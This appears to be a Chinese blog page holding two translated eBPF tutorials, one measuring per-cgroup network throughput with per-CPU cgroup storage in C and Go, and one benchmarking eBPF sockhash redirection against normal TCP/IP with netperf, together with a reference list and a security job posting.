https://embracethered.com/blog/posts/2021/offensive-bpf-bpftrace/ Bad BPF - Warping reality using eBPF: https://blog.tofile.dev/2021/08/01/bad-bpf.html Lifetime of BPF objects: https://facebookmicrosites.github.io/bpf/blog/2018/08/31/object-lifetime.html BPF程序(BPF Prog)类型详解:使用场景、函数签名、执行位置及程序示例:https://arthurchiao.art/blog/bpf-advanced-notes-1-zh Features of bpftool: the thread of tips and examples to work with eBPF objects: https://qmonnet.github.io/whirl-offload/2021/09/23/bpftool-features-thread/ Reverse Engineering Ebpfkit Rootkit With BlackBerry's Enhanced IDA Processor Tool: https://blogs.blackberry.com/en/2021/12/reverse-engineering-ebpfkit-rootkit-with-blackberrys-free-ida-processor-tool Creating and countering the next generation of Linux rootkits using eBPF: Creating and countering the next generation of Linux rootkits using eBPF Pat Hogan eBPF Syscall: https://www.kernel.org/doc/html/latest/userspace-api/ebpf/syscall.html Cilium eBPF实现机制源码分析: https://www.cnxct.com/how-does-cilium-use-ebpf-with-go-and-c/ ebpfkit is a rootkit powered by eBPF: https://github.com/Gui774ume/ebpfkit 招聘 美团信息安全部招聘研发专家,职位如下列表,职位描述见美团信息安全部2022年招聘岗位 。 安全研发专家(主机安全方向) 安全研发专家(RASP方向) WEB研发架构师(JAVA语言) 美团信息安全部其他职位 github 2022-03-09 2 0
[译]使用eBPF per-CPU Cgroup本地存储进行低功耗统计 译者注 背景 译者还在学习eBPF,在学习计划中,分了阅读、翻译、模仿、研发等几个阶段。这篇文章是译者学习过程中的第二篇eBPF文章翻译。在阅读过程中,动手练习,理解原文目的、思路、方法。加深对知识点的理解。 本文翻译自Using eBPF per-CPU Cgroup local storage for low overhead accounting,由于译者水平有限,本文不免存在遗漏或错误之处。如有疑问,请查阅原文。 第一篇翻译文章为:使用 eBPF(并绕过 TCP/IP)加速云原生应用程序的经验教训。 对于本文中涉及的代码,都放在GitHub:ebpf-demo仓库下的bpf-accounting下,请自取。 per-CPU 随着多CPU架构的成熟发展,BPF Map也引入了per-cpu类型,如BPF_MAP_TYPE_PERCPU_HASH、BPF_MAP_TYPE_PERCPU_ARRAY等,当你使用这种类型的BPF Map时,每个CPU都会存储并看到它自己的Map数据,从属于不同CPU之间的数据是互相隔离的,这样做的好处是,在进行查找和聚合操作时更加高效,性能更好,尤其是你的BPF程序主要是在做收集时间序列型数据,如流量数据或指标等。参考 原文 前言 Linux eBPF生态系统正在迅速增长,每个发布周期都会出现新功能。从本质上讲,eBPF是一种通过attach到各种per-defines hooks和导出函数的方式,来编写Linux内核脚本的安全方式。在eBPF中,可以使用各种“map”类型来实现kernel space和user space通信。 每隔几个内核版本,就会引入或改进新的“map”类型,并且在3年前BPF_MAP_TYPE_PERCPU_CGROUP_STORAGE引入,现在可以在4.20以后的内核中使用,git提交日志:bpf: introduce per-cpu cgroup local storage。 译者注: BPF Compiler Collection (BCC)维护了eBPF新特性变化的日志,包含每个特性的增加时间、内核版本号、commit时间等,详情见:BPF Features by Linux Kernel Version 我对它很感兴趣,想通过一个简单的Cgroup网络吞吐量监控应用来了解它。 通常情况下,在资源受限的机器上运行多个工作负载时的实际用例。但事实证明,我很难理解如何快速有效地使用它。之后,我决定写一篇文章,希望可以帮助你快速学习per-CPU eBPF Cgroup local storage。 示例演示 这篇文章将 在用户空间的应用使用Cilium 的ebpf库。当然,在C中使用libbpf或 在 Python 中使用BCC可以轻松实现类似的效果。内核侧eBPF无需更改,可以配合其他任何语言实现的eBPF数据读取应用。 为了监控目标Cgroup入口和出口吞吐量,演示程序将附加到cgroup_skb/ingress和cgroup_skb/egress Cgroup eBPF 钩子。当然,将map类型的result发送到用户空间BPF_MAP_TYPE_PERCPU_CGROUP_STORAGE。 为了保持这篇文章简单并专注于eBPF部分,这篇文章将使用一个硬编码的cgroup地址。 示例代码 如下代码,这是eBPF内核态程序的概要。以一个伪注释开始,以便让go编译器不要编译它。然后是 linux内核以及BPF helper等各种头文件。 license可能是多余的,但eBPF程序与普通c内核模块遵循相同的规则。通常,某些符号导出受“仅GPL”约束(或兼容)。 C代码 // +build ignore #include <stdbool.h> #include <linux/bpf.h> #include <bpf/bpf_helpers.h> #include <netinet/ip.h> #include <netinet/ip6.h> // --------------------------------------------- // -- The real program will be somewhere here -- // --------------------------------------------- char __license[] __attribute__((section("license"), used)) = "MIT"; 编译器clang(llvm)将这个C文件编译为eBPF的字节码文件: clang -g -Wall -Werror -O2 -emit-llvm -c bpf-accounting.c -o - | llc -march=bpf -filetype=obj -o bpf-accounting.o 当然,需要先安装Clang,以及linux kernel对应的头文件,安装方法可以参考上篇译者的eBPF开发环境 go代码 这是现在的Go代码模版。它主要包含设置阶段和监控阶段两部分代码,监控阶段每秒运行一次,按“Ctrl+C”或TERM信号终止运行。 设定好TARGET_CGROUP_V2_PATH,确保关注的是Cgroup V2版本。在笔者开发环境的路径是/sys/fs/cgroup/unified前缀,因系统而异,这里是Ubuntu,但其Systemd配置仍使用v1的Cgroup。 如果bpf-accounting.c里的eBPF部分代码没有被调用,那么EBPF_PROG_ELF加载部分,就需要好好调整。 package main import ( "log" "os" "os/signal" "syscall" "time" "github.com/cilium/ebpf" "github.com/cilium/ebpf/link" "golang.org/x/sys/unix" ) const ( TARGET_CGROUP_V2_PATH = "/sys/fs/cgroup/unified/yadutaf" // <--- Change as needed for your system/use-case EBPF_PROG_ELF = "./bpf-accounting.o" ) func main() { log.Printf("Attaching eBPF monitoring programs to cgroup %s\n", TARGET_CGROUP_V2_PATH) // ------------------------------------------------------------ // -- The real program initialization will be somewhere here -- // ------------------------------------------------------------ // Wait until signaled c := make(chan os.Signal, 1) signal.Notify(c, syscall.SIGINT) signal.Notify(c, syscall.SIGTERM) // Periodically check counters ticker := time.NewTicker(1 * time.Second) out: for { select { case <-ticker.C: log.Println("-------------------------------------------------------------") // ------------------------------------------ // -- And here will be the counters report -- // ------------------------------------------ case <-c: log.Println("Exiting...") break out } } } 数据结构 现在介绍一下BPF_MAP_TYPE_PERCPU_CGROUP_STORAGE类型。但请先思考一个问题,为什么不使用最典型、更容易使用的BPF_MAP_TYPE_HASHmap类型? 对于本文的用例,BPF_MAP_TYPE_HASH将会特别适合。但是,如果应用程序需要监视所有cgroup,并且在创建动态时attach,或在Cgroup终止时清除相关资源,BPF_MAP_TYPE_CGROUP_STORAGE类型则可能是更合适的选择。 但是,如果可以从多个CPU并发访问收集的数据,那么per-CPU对应的BPF_MAP_TYPE_PERCPU_CGROUP_STORAGE类型是避免自旋锁的最佳选择。 从原理上看,BPF_MAP_TYPE_PERCPU_CGROUP_STORAGE实际上是一个/virtual/映射,或更准确地说是叫Cgrouplocal storage本地存储的内核术语。在内部,Cgroup数据结构有一个专用于cgroup本地存储的成员。因此,指定类型的程序将为指定的Cgroup共享相同的存储区域。默认情况下,不同类型的程序在Cgroup中都会有一个固定的存储区域。然而,可以在指定的Cgroup的所有程序类型之间共享这个存储区域。 几个要点: 根据设计,map(虚拟)的key在概念上是一个(cgroup_id, program_type)元组。这不是固定的。比如,叶成员类型是灵活的。 如果多个相同类型的程序需要在同一个Cgroup中存储数据,那么必须配合进行叶子成员类型定义。 程序只能访问它们所连接的cgroup的存储区域。换句话说,即使由子Cgroup foo/bar中的事件触发,attach到Cgroup的程序foo也只会访问Cgroup的存储foo的值。如果需要专门跟踪子 Cgroup事件,则还需要将相同的代码逻辑attach到关注的Cgroup。 提醒一下BPF_MAP_TYPE_PERCPU_CGROUP_STORAGE: 由于per-CPU是map类型,因此group中的存储不是叶子成员类型,而是这种类型的per-CPU数组。这对程序的eBPF部分是完全透明的,只有它当前的cgroup+CPU视图。然而,它需要对Go部分进行特殊处理,来获取每个cgroup+CPU存储的完整数据视图。 eBPF逻辑实现 对于本文,有两种业务目标 (cgroup_skb/ingress和 cgroup_skb/egress)来匹配incomming和outgoing流量。由于目标是测量每个方向传输的字节总数,因此叶子成员类型可以是uint64。 内核态C代码 在eBPF端,结构声明很简单: struct bpf_map_def SEC("maps") cgroup_counters_map = { .type = BPF_MAP_TYPE_PERCPU_CGROUP_STORAGE, .key_size = sizeof(struct bpf_cgroup_storage_key), .value_size = sizeof(__u64), }; 这定义了 eBPF map cgroup_counters_map类型BPF_MAP_TYPE_PERCPU_CGROUP_STORAGE,其主键struct bpf_cgroup_storage_key的类型为bpf.h中定义的类型,为无符号uint64,用它作为map的member来保存字节大小。 用户态Go代码 用户态的逻辑代码方面涉及更多,但别担心。首先,程序需要增加最大“locked”内存。虽然这个例子来说不是必需的,这里只是普通的字节大小计数器,不会占用啥太大内存。但在使用eBPF的场景里,这里可能是最容易疏忽的陷阱。因此,需要实现为: // Increase max locked memory (for eBPF maps) // For a real program, make sure to adjust to actual needs unix.Setrlimit(unix.RLIMIT_MEMLOCK, &unix.Rlimit{ Cur: unix.RLIM_INFINITY, Max: unix.RLIM_INFINITY, }) 现在需要应用层调用内核eBPF接口加载eBPF字节码的eBPF ELF文件。这里是Cilium的ebpf库的亮点。解析ELF字节码文件并提取map定义和所有程序metadata “collection”: collec, err := ebpf.LoadCollection(EBPF_PROG_ELF) if err != nil { log.Fatal(err) } 从collection中获取map的句柄非常简单: // Get a handle on the statistics map cgroup_counters_map := collec.Maps["cgroup_counters_map"] 在访问map时,程序需要key和member类型定义。重点是,Cilium的库还没有内置定义。由于key format是由内核的ABI强加的,因此需要按照struct bpf_cgroup_storage_key 从内核文档:BPF_MAP_TYPE_CGROUP_STORAGE 完成结构体的解析,以及注意32位虚拟字段的对齐问题: type BpfCgroupStorageKey struct { CgroupInodeId uint64 AttachType ebpf.AttachType _ uint32 } go程序需要定义成员类型。由于程序使用per-CPU数据结构,这需要是一个slice: type PerCPUCounters []uint64 由于我们只对传输的字节总数感兴趣,并不关注其他事情,那么直接for循环slice,进行相加即可。: func sumPerCpuCounters(perCpuCounters PerCPUCounters) uint64 { sum := uint64(0) for _, counter := range perCpuCounters { sum += counter } return sum } 最后一件事:要访问map的entry,只是定义map数据结构是不够的。其中需要有一些实际值。在AttachType已经讨论的,这是节目的类型(ingress VS egress)。最棘手的部分是CgroupInodeId。该字段是cgroup路径的Inode编号,需要提前读取。 由于这是一个简单的例子,那就先硬编码TARGET_CGROUP_V2_PATH cgroup的值。因此,可以间接写死Inode的ID: // Get cgroup folder inode number to use as a key in the per-cgroup map cgroupFileinfo, err := os.Stat(TARGET_CGROUP_V2_PATH) if err != nil { log.Fatal(err) } cgroupStat, ok := cgroupFileinfo.Sys().(*syscall.Stat_t) if !ok { log.Fatal("Not a syscall.Stat_t") } cgroupInodeId := cgroupStat.Ino 现在,我们来在结构中实际存储一些我们需要的数据。 ingress/egress大小统计 有几种情况需要考虑: 传输的数据包可能位于ingress或egress路径上。 传输的数据包可以是IPv4或IPv6。 所有这些情况都可以在 eBPF内核侧的一个通用函数中简单地处理: inline int handle_skb(struct __sk_buff *skb) { __u16 bytes = 0; // Extract packet size from IPv4 / IPv6 header switch (skb->family) { case AF_INET: { struct iphdr iph; bpf_skb_load_bytes(skb, 0, &iph, sizeof(struct iphdr)); bytes = ntohs(iph.tot_len); break; } case AF_INET6: { struct ip6_hdr ip6h; bpf_skb_load_bytes(skb, 0, &ip6h, sizeof(struct ip6_hdr)); bytes = ntohs(ip6h.ip6_plen); break; } default: // This should never be the case as this eBPF hook is called in // netfilter context and thus not for AF_PACKET, AF_UNIX nor AF_NETLINK // for instance. return true; } // Update counters in the per-cgroup map __u64 *bytes_counter = bpf_get_local_storage(&cgroup_counters_map, 0); __sync_fetch_and_add(bytes_counter, bytes); // Let the packet pass return true; } 实现起来特别简单。最大的难点来自IPv4与IPv6与错误处理。不过,我们关注的主要还是与map相关的那几行。 bpf_get_local_storage()封装实现了(AttachedCgroup, ProgramType, CPU)三元组加载到存储区的功能,直接调用即可。 由于eBPF程序不应该被中断并且数据是per-CPU的,所以__sync_fetch_and_add是个递增原子计数器。在当前代码例子中可能不需要。但上游的运行是支持eBPF抢占的。 这个通用函数可以同时处理ingress和egress两种流量: // Ingress hook - handle incoming packets SEC("cgroup_skb/ingress") int ingress(struct __sk_buff *skb) { return handle_skb(skb); } // Egress hook - handle outgoing packets SEC("cgroup_skb/egress") int egress(struct __sk_buff *skb) { return handle_skb(skb); } eBPF内核态部分现在已经完成。下一步是加载这些程序并将其attach到关注的Cgroup上,并对收集的数据做计算。 attach程序并收集数据 为了监控ingress和egress流量,需要为两个目标cgroup分别attach一次。同样,生成的数据需要在两个方向上进行查询。 为了保持代码简洁,声明一个简单的helper结构体: type BPFCgroupNetworkDirection struct { Name string AttachType ebpf.AttachType } var BPFCgroupNetworkDirections = []BPFCgroupNetworkDirection{ { Name: "ingress", AttachType: ebpf.AttachCGroupInetIngress, }, { Name: "egress", AttachType: ebpf.AttachCGroupInetEgress, }, } 如上代码为每个方向分别定义了attach的类型。 接下来,使用简单的循环将程序从加载的目标cgroup对应collection中读取数据: // Attach program to monitored cgroup for _, direction := range BPFCgroupNetworkDirections { link, err := link.AttachCgroup(link.CgroupOptions{ Path: TARGET_CGROUP_V2_PATH, Attach: direction.AttachType, Program: collec.Programs[direction.Name], }) if err != nil { log.Fatal(err) } defer link.Close() } 然后,用map查询结果: for _, direction := range BPFCgroupNetworkDirections { var perCPUCounters PerCPUCounters mapKey := BpfCgroupStorageKey{ CgroupInodeId: cgroupInodeId, AttachType: direction.AttachType, } if err := cgroup_counters_map.Lookup(mapKey, &perCPUCounters); err != nil { log.Printf("%s: error reading map (%v)", direction.Name, err) } else { log.Printf("%s: %d\n", direction.Name, sumPerCpuCounters(perCPUCounters)) } } 同样,此代码段在预定义的流量卡点上一直循环。然后不停的查询目标方向的流量产生的数据。 查询功能实现在很大程度上依赖于Cilium的eBPF库,用于内核态和Go用户态之间的数据通讯。其他部分代码的都不重要。 测试 现在一切就绪,假设目标cgroup和文件名保持不变,现在可以编译和运行程序。 编译: clang -g -Wall -Werror -O2 -emit-llvm -c bpf-accounting.c -o - | llc -march=bpf -filetype=obj -o bpf-accounting.o llvm-strip -g bpf-accounting.o go build . 要设置测试环境,最简单的方法是打开终端并运行: # Create the Cgroup sudo mkdir -p /sys/fs/cgroup/unified/yadutaf # Register the current shell PID in the cgroup echo $$ | sudo tee /sys/fs/cgroup/unified/yadutaf/cgroup.procs # Start an advanced networking command ping -n 2001:4860:4860::8888 # Or, for IPv4: ping -n 8.8.8.8 # 或者 wget下载几个文件之类的。 最后,再开一个shell: sudo ./bpf-accounting 译者提醒 这里需要提醒一下,上面cgroup的设定是针对执行命令的shell进程的,如果在其他shell进程里执行网络访问行为,那么这个程序就无法收集到流量了。就是说/sys/fs/cgroup/unified/yadutaf/cgroup.procs里的shell进程id是被cgroup监控的,产生网络流量的行为,必须也在这个进程里才行。 运行结果 应该打印如下内容: 2021/08/22 17:20:50 Attaching eBPF monitoring programs to cgroup /sys/fs/cgroup/unified/yadutaf 2021/08/22 17:20:51 ------------------------------------------------------------- 2021/08/22 17:20:51 ingress: 64 2021/08/22 17:20:51 egress: 64 2021/08/22 17:20:52 ------------------------------------------------------------- 2021/08/22 17:20:52 ingress: 128 2021/08/22 17:20:52 egress: 128 2021/08/22 17:20:53 ------------------------------------------------------------- 2021/08/22 17:20:53 ingress: 192 2021/08/22 17:20:53 egress: 192 2021/08/22 17:20:54 ------------------------------------------------------------- 2021/08/22 17:20:54 ingress: 256 2021/08/22 17:20:54 egress: 256 ^C2021/08/22 17:20:54 Exiting... 就酱! 😊 结论 本文通过一个简单的per-cgroup的BPF_MAP_TYPE_PERCPU_CGROUP_STORAGE eBPF类型,对网络吞吐量进行监控,展示了local storage的eBPF虚拟map使用。 总结重点 在性能敏感的上下文中存储per-cgroup测量或状态时使用这个存储方式。 如果性能不是问题,请考虑使用BPF_MAP_TYPE_CGROUP_STORAGE以避免增加管理per-cpu数据的复杂性。 attach到指定Cgroup的所有给定类型的eBPF cgroup将共享相同的数据存储空间。 将eBPF程序attach到每个目标cgroup:此存储与特定附件相关联。 此示例可用作监控应用程序的基础。例如,可以监视Cgroup创建并动态地attach程序。还可以通过 OpenMetrics(Prometheus)等进行数据收集,集成到更大的系统中。 最后,我要感谢Cilium的ebpf社区在我写这篇文章时帮助我修复了库中一个微小但必不可少的错误。 提醒 对于本文中创建的bpf map,可以使用bpftool进行查询,安装方式见编译bpftool工具部分。 root@vmubuntu:/home/cfc4n# bpftool prog show 3: cgroup_skb tag 6deef7357e7b4530 gpl loaded_at 2021-11-09T13:03:31+0000 uid 0 xlated 64B jited 54B memlock 4096B pids systemd(1) 4: cgroup_skb tag 6deef7357e7b4530 gpl loaded_at 2021-11-09T13:03:31+0000 uid 0 xlated 64B jited 54B memlock 4096B pids systemd(1) 5: cgroup_skb tag 6deef7357e7b4530 gpl loaded_at 2021-11-09T13:03:31+0000 uid 0 xlated 64B jited 54B memlock 4096B pids systemd(1) 6: cgroup_skb tag 6deef7357e7b4530 gpl loaded_at 2021-11-09T13:03:31+0000 uid 0 xlated 64B jited 54B memlock 4096B pids systemd(1) 7: cgroup_skb tag 6deef7357e7b4530 gpl loaded_at 2021-11-09T13:03:36+0000 uid 0 xlated 64B jited 54B memlock 4096B pids systemd(1) 8: cgroup_skb tag 6deef7357e7b4530 gpl loaded_at 2021-11-09T13:03:36+0000 uid 0 xlated 64B jited 54B memlock 4096B pids systemd(1) 12: cgroup_skb name ingress tag e0be5f67a85710f4 loaded_at 2021-11-09T13:04:27+0000 uid 0 xlated 200B jited 127B memlock 4096B map_ids 6 btf_id 127 pids bpf-accounting(1480) 13: cgroup_skb name egress tag e0be5f67a85710f4 loaded_at 2021-11-09T13:04:27+0000 uid 0 xlated 200B jited 127B memlock 4096B map_ids 6 btf_id 127 pids bpf-accounting(1480) root@vmubuntu:/home/cfc4n# bpftool -p map show id 6 { "id": 6, "type": "percpu_cgroup_storage", "name": "cgroup_counters", "flags": 0, "bytes_key": 16, "bytes_value": 8, "max_entries": 0, "bytes_memlock": 0, "frozen": 0, "pids": [{ "pid": 1480, "comm": "bpf-accounting" } ] } cgroup目录清理: apt install cgroup-tools/hirsute cgdelete unified/yadutaf 或重启系统。 2021-11-09 0 0
[译]使用eBPF(绕过 TCP/IP)加速云原生应用程序的经验教训 译者注 本文翻译自 使用eBPF加速云原生应用程序的经验教训 ,前篇文章为How to use eBPF for accelerating Cloud Native applications,已经由国内博主ArthurChiao翻译+实践整理给出:[译] 利用 ebpf sockmap/redirection 提升 socket 性能 本文对比了eBPF绕过TCP/IP栈与普通TCP协议两种模式下,网络通讯的吞吐量、延迟、事务量等指标。 其技术原理在上篇中已经讲过,本篇的技术难度不大,译者参考原文,进行环境搭建,编码测试,根据自己的测试结果,对原文进行更加深刻的解读。 eBPF与主机安全 译者从事IDC的安全防御检测类产品研发,包括主机层面的入侵检测系统等。IDC领域,随着容器化技术不断演进,早已从主机时代转化到容器时代。而主机安全的研发思维,还停留在主机时代。比如: 物理机、虚拟机时代:进程间通讯是IPC、unixdomain socket,而容器化下,是GRPC\HTTP。 容器化时代:利用高效的eBPF技术做网络隔离,重新规划,能否应付得来 容器化时代:同一个宿主机上多个容器通讯,TCP改为本地socket转发(类似本文的技术) 当容器化技术依赖越来越多的内核新技术eBPF后,HIDS产品的检测技术,该如何演进? 木马后门利用了eBPF技术后,端口复用等问题变得相当容易,也没有独立的进程,没特征,HIDS产品该如何去发现? 翻译目的 带着这些问题,译者开始学习eBPF相关知识,为了更快更好的掌握eBPF,译者采用边学边动手的方式,来加快对新技术的理解,加深知识点的记忆。在学习过程过,感谢博主ArthurChiao 的一系列博文。 译者的开发环境 MacOS Big Sur 11.6 VMware Fusion 12.1.2 UBUNTU 21.04 server版的虚拟服务器(分配2核CPU,4G内存) 安装步骤 镜像地址: http://tw.archive.ubuntu.com/ubuntu-cd/hirsute/ubuntu-21.04-live-server-amd64.iso 安装相应工具包、类库 sudo apt-get install -y make gcc libssl-dev bc libelf-dev libcap-dev clang gcc-multilib llvm libncurses5-dev git pkg-config libmnl-dev bison flex graphviz sudo apt-get install -y make gcc clang llvm git pkg-config dpkg-dev gcc-multilib 修改apt源 修改源 /etc/apt/sources.list ,便于下载kernel源码 deb-src http://archive.ubuntu.com/ubuntu hirsute main deb-src http://archive.ubuntu.com/ubuntu hirsute- main sudo su apt update apt-get source linux-image-$(uname -r) apt-get source linux-image-unsigned-$(uname -r) apt install libbfd-dev libcap-dev zlib1g-dev libelf-dev libssl-dev 编译 bpftool 工具 cd /home/cfc4n/download/linux-5.11.0/tools/bpf/bpftool make sudo make install 编译bpf字节码 cd ~/project/os-eBPF/sockredir cfc4n@vmubuntu:~/project/os-eBPF/sockredir$ clang -O2 -g -target bpf -I /usr/include/linux/ -I /usr/src/linux-headers-5.11.0-37/include/ -c bpf_sockops_v4.c -o bpf_sockops_v4.o 加载bpf字节码 root@vmubuntu:/home/cfc4n/project/os-eBPF/sockredir# bpftool prog load bpf_sockops_v4.o "/sys/fs/bpf/bpf_sockops" libbpf: elf: skipping unrecognized data section(8) .rodata.str1.1 root@vmubuntu:/home/cfc4n/project/os-eBPF/sockredir# bpftool cgroup attach "/sys/fs/cgroup/unified/" sock_ops pinned "/sys/fs/bpf/bpf_sockops" 测试工具 netperf是本文的测试工具,安装方式 sudo apt install netperf netperf -V Netperf version 2.7.0 操作系统版本 uname -a Linux vmubuntu 5.11.0-37-generic #41-Ubuntu SMP Mon Sep 20 16:39:20 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux Linux内核TCP参数 拥塞控制 cat /proc/sys/net/ipv4/tcp_congestion_control cubic 接收缓冲区 buffer size 最小、默认、最大 cfc4n@vmubuntu:~$ cat /proc/sys/net/ipv4/tcp_rmem 4096 131072 6291456 发送缓冲区 cfc4n@vmubuntu:~$ cat /proc/sys/net/ipv4/tcp_wmem 4096 16384 4194304 eBPF TCP链路绕过实现 译文与原文 展示了如何编写简单的BPF程序实现socket level 重定向(redirection)。对于源和目的端都在同一台宿主机器的应用来说,可以实现绕过整个TCP/IP协议栈,直接将数据发送到 socket对端。效果如下图 译者注:在大公司的基础组件部门,可以在宿主机上,自动实现网络加速,不需要业务层根据不同环境而去分别实现unix domain socket和TCP两种sockt。大大减轻业务压力,提升基础架构部门的效率。 原文 我们多数客户对我们的服务有极高的性能SLA需求,我们也不断投资于性能增强以提高我们的服务质量。我们研究的其中一项技术就是eBPF,用于加速后端各种微服务之间的通信。 由于业界很少有文章全面介绍如何使用eBPF,我们决定与大家分享我们学到的知识。 这是由两部分组成的博客系列的第二部分,我们将在其中详细分享我们如何利用 eBPF 进行网络加速以及我们在此过程中所做的一些有趣观察。 在之前的博文中,我们分享 如何编写用于套接字数据重定向的 eBPF代码 以及如何使用 bpftool 将生成的eBPF字节码注入内核。在这篇文章中,我们深入探讨了从常规 TCP/IP 切换到eBPF后的各种性能提升。 使用 eBPF 进行网络加速——性能评估 一旦我们可以使用eBPF实现绕过TCP/IP堆栈,就必须要看到性能提升后的效果。为此,我们使用了较为知名的测量网络性能的工具netperf来评估吞吐量、延迟和事务率方面的收益。我们在以下两种情况下使用netperf评估了这些指标 : 流量正常通过TCP/IP堆栈, 流量使用eBPF sockhash映射重定向绕过TCP/IP堆栈 测试配置 测试设置如下: 在 MacOS High Sierra 上运行的 VirtualBox 6.1 上的 Ubuntu Bionic 18.04.03 LTS Linux 内核 5.3.0-40-generic TCP 设置 拥塞控制:cubic recv() 调用的默认缓冲区大小:131072 Bytes send() 调用的默认缓冲区大小:16384 Bytes MSS最大报文段长度(Maximum Segment Size):65483 Bytes netperf 2.6.0 测试步骤 网络吞吐测试 使用netserver服务端和netperf客户端进行60秒的各种发送消息大小的吞吐量测试: netserver -p 1000 netperf -H 127.0.0.1 -p 1000 -l 60 -- -m $msg_size 网络延迟测试 使用netperf命令,执行时长参数为60秒的各种请求和响应消息大小,进行延迟测量(第 50、90 和 99%): netserver -p 1000 netperf -P 0 -t TCP_RR -H 127.0.0.1 -p 1000 -l 60 -- -r $req_size, $resp_size -o P50_LATENCY, P90_LATENCY, P99_LATENCY 网络事务率测试 使用netperf命令来测试60秒运行的各种请求和响应消息大小的事务率: netserver -p 1000 netperf -t TCP_RR -H 127.0.0.1 -p 1000 -l 60 -- -r $req_size, $resp_size 测试结果 网络吞吐量结果 吞吐量:eBPF sockhash修改过的TCP/IP与常规TCP/IP比较 上图显示了eBPF sockhash修改过的TCP/IP与常规TCP/IP堆栈的吞吐量对比。比较有趣得是吞吐量的性能增长对于使用eBPF的发送请求消息大小是线性的。因为当应用程序在发送较大的消息时,几乎没有开销。 这结果与大家的认知不一致:会好奇为什么与常规TCP/IP路径相比吞吐量性能很差。事实证明,罪魁祸首是默认情况下在 TCP/IP堆栈中启用了Nagle算法。引入Nagle算法是为了解决小数据包淹没慢速网络从而导致拥塞的问题。因为如果它小于TCP MSS的大小,算法只需要一个TCP段是未完成的(未确认),在我们的测试中,这会导致TCP对数据进行批量传输。这种批处理会导致更多的数据传输和分摊开销,并且能够超过eBPF绕过TCP/IP的性能收益,它对每个发送调用缓冲区大小有固定的开销(见图7)。 当数据包大小接近TCP MSS时,常规TCP/IP没有合并发送的优势,TCP MSS中可以容纳的数据包更少(测试环境的MSS设置为65483 bytes)并通过以下方式发送到目的地TCP/IP内核堆栈。在这些大数据包发送大小下,eBPF凭借其低开销远远超过使用Nagle算法的TCP/IP堆栈的吞吐。接下来禁用Nagle算法(-D参数)来netperf重新测试: netserver -p 1000 netperf -H 127.0.0.1 -p 1000 -l 60 -- -m $msg_size -D 吞吐量:TCP/IP(禁用Nagle算法)与使用 eBPF sockhash 染过TCP/IP 禁用Nagle算法后,我们看到与eBPF sockhash重定向绕过相比,常规TCP的吞吐量优势完全消失。TCP/IP堆栈和eBPF sockhash映射的性能如预期的那样线性增加----eBPF比常规 TCP/IP具有更大的成长曲线,因为eBPF每次发送调用的固定成本开销。对于较大的发送消息大小和较小的 TCP MSS,这种性能差距更为明显。 译者测试结果 译者在测试时,把三种测试都集中在一张图里了。但测试使用TCP Nagle算法与eBPF绕过的差异并没有很大,而且也没有曲线上的交叉。译者暂时不清楚其中原因,大概是我测试的环境是macbook,恰恰同时我还在使用这台笔记本工作,导致了CPU、网络等不稳定吧。 吞吐量:eBPF VS TCP VS TCP-Disable-Nagle的比较 动态趋势图: 延迟测试结果 使用netperf重复我们的性能运行来测量延迟。我们测量了延迟的第50个、第90个和第99 个百分位数,这会改变发送和接收缓冲区(消息)的大小。测试结果里,使用中位数的延迟来显示趋势图。此外,我们还展示了64字节和256字节的不同请求消息大小的趋势。(请注意:netperf一次只有一个事务未完成。) 延迟测试:使用 eBPF sockhash绕过TCP/IP与常规TCP/IP 如图所示,eBPF sockhash绕过优于常规TCP/IP堆栈。其性能比常规 TCP/IP 堆栈高出近50%。考虑到eBPF通过将数据包从源socket的传输队列重定向到目标socket的接收队列,与TCP/IP中的那些相比,eBPF消除了任何协议级别的开销(慢启动、拥塞避免、流量控制等),这些优势带来的结果是显而易见的。此外,请求消息长度对延迟没有影响。我们没有尝试测量接近TCP MSS 的发送消息大小的延迟。 译者测试结果 译者对这个延迟指标也进行了测试,如下图 eBPF sockhash重定向与常规TCP堆栈的延迟对比 不管是64字节还是256字节的发送消息大小上,都比原生TCP的网络延迟更低。 虽然图表上的结果与原作者测试结果有一定差异,但整体分布比较均衡,也很清楚的体现出eBPF在低延迟上的优势。 动态趋势图 网络事务率 接下来,我们使用netperf继续测试事务率: 如果我们简单地将事务率曲线向左翻转,它们的趋势与延迟测量相同。 事务率:使用 eBPF sockhash重定向与TCP/IP 如图,针对不同的接收端消息大小绘制了各种发送消息请求大小的事务率。在延迟测量的情况下,我们看到事务率不受常规TCP/IP和eBPF sockhash重定向绕过以及请求响应消息大小的影响。 不同请求大小的事务率:TCP/IP vs TCP/IP bypass using eBPF sockhash map 译者测试结果 译者也进行了测试,只是测试环境不太稳定,macbook开的VM虚拟机,在性能测试的时候,同时还在用于办公。测试结果波动比较大,但总体来看,还是能从点的分布看得出eBPF与常规TCP的区别,深色的点是eBPF的结果,都分布在Y轴上面。浅色点是常规TCP的结果,都分布在Y轴下面。如下图: 动态图表 eBPF模式下网络吞吐量测试的内核开销 在下图中,我们绘制了当执行netperf吞吐量实验时eBPF sockhash映射绕过在内核中花费的时间。 可以看到对于256字节的发送消息大小,eBPF开销约为1.5秒,并且开销随着发送消息大小的增加而减少。 eBPF sockhash map重定向在内核中花费的时间 综述 eBPF确实是一项强大的技术,它允许从用户空间前所未有地访问Linux内核资源。当应用程序对延迟敏感时,使用eBPF绕过TCP/IP堆栈与同一主机上的另一个程序通信是一个最佳的使用场景。尤其是时下最热门的容器编排领域:在Kubernetes集群的同一pod中使用相互依赖的微服务就特别适合这个功能。也就是说,基于eBPF的TCP/IP绕过可以极大地减轻与使用RPC 和REST API进行大量通信的微服务相关的延迟。 我们还看到,虽然eBPF可以带来强大的性能提升,但盲目使用可能会产生意想不到的后果。具体来说,当我们只关心原始单向吞吐量时,使用默认设置,常规TCP/IP堆栈可以胜过eBPF(Nagle算法合并大量小包的情况)。 译者注:主机安全HIDS的未来趋势 正如本文演示的功能,用eBPF来解决K8S场景中,同一pod的多个docker container之间通讯延迟的问题。那在这种场景下,原来的HIDS产品能否感知到?物理机、虚拟机时代,原来的进程间通讯是IPC、unixdomain socket,而容器化下,是GRPC\HTTP,安全场景上已经有很大变化... 在当下微服务架构日益盛行的时代,必定追求更好性能,更快的速度,更大的负载方向走。而linux kernel的eBPF技术,必定是未来容器化、容器编排领域的热门技术。那么,在信息安全的主机安全领域,HIDS之类产品该何去何从?例如本文中的性能优化,在容器编排场景是特别有价值的使用,甚至已经有了成熟的产品上市。那HIDS还能检测的出来吗? 